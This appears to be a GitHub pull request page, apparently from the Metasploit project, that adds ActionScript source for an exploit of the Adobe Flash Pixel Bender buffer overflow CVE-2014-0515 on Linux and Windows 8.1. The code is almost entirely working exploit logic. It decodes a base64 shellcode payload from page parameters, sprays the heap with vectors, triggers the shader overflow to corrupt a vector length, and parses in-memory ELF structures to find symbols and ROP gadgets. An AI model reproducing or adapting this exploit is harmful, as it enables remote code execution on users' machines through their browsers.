Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

adobe_flash_pixel_bender_bof: Execution from the flash renderer / Linux & Windows 8.1 support. #5524

Merged
merged 2 commits into from
Jun 15, 2015
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
Binary file removed data/exploits/CVE-2014-0515/Graph.swf
Binary file not shown.
Binary file added data/exploits/CVE-2014-0515/msf.swf
Binary file not shown.
235 changes: 235 additions & 0 deletions external/source/exploits/CVE-2014-0515/Elf.as
Original file line number Diff line number Diff line change
@@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3

private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0

public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}

public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0

for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}

public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""

for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}


public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}

private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}

throw new Error()
}

private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}

private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}

private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}

private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0

for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}

throw new Error()
}

private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0

for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}

throw new Error()
}

private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}

throw new Error()
}

private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}

throw new Error()
}

private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}

throw new Error()
}
}
}
131 changes: 131 additions & 0 deletions external/source/exploits/CVE-2014-0515/Exploit.as
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf
// It uses original code from @hdarwin89 for exploitation using ba's and vectors

package {
import flash.display.Sprite
import flash.utils.ByteArray
import flash.display.Shader
import flash.system.Capabilities
import flash.utils.Endian
import __AS3__.vec.Vector
import __AS3__.vec.*
import flash.display.LoaderInfo
import mx.utils.Base64Decoder

public class Exploit extends Sprite {

protected var Shad:Class
private var uv:Vector.<uint>
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter

public function Exploit(){
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()

var shader:Shader
if (platform == "linux") {
this.Shad = GraphShadLinux
} else {
this.Shad = GraphShadWindows
}

super()
var i:* = 0
var j:* = 0
var offset:int = -1
var corrupted_vector_idx:int = -1

// Memory massage
var array_length:uint = 0x10000
var vector_size:uint = 34
var array:Array = new Array()

i = 0
while (i < array_length)
{
array[i] = new Vector.<uint>(vector_size)
i++;
}

i = 0
while (i < array_length)
{
array[i].length = 0
i++
}

i = 0x0200
while (i < array_length)
{
array[(i - (2 * (j % 2)))].length = 0x0100
array[(i - (2 * (j % 2)))][0] = 0xdeedbeef
array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2)))
i = (i + 28)
j++
}

// Overflow and Search for corrupted vector
var shadba:ByteArray = (new this.Shad() as ByteArray)
shadba.position = 0

shader = new Shader()
try
{
shader.byteCode = (new this.Shad() as ByteArray);
} catch(e) { }

i = 0
while (i < array_length)
{
if (array[i].length > 0x0100)
{
corrupted_vector_idx = i
break
}
i++
}

if (corrupted_vector_idx == -1) {
return
}

for(i = 0; i < array[corrupted_vector_idx].length; i++) {
if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) {
array[corrupted_vector_idx][i] = 0xffffffff
offset = i
break
}
}

if (offset == -1) {
return
}


for(i = 0; i < array.length; i++) {
if (array[i].length == 0xffffffff) {
uv = array[i]
uv[0x3ffffffc - offset] = 34
}
}

for(i = 0; i < array.length; i++) {
if (array[i].length != 0xffffffff) {
delete(array[i])
array[i] = null
}
}

exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}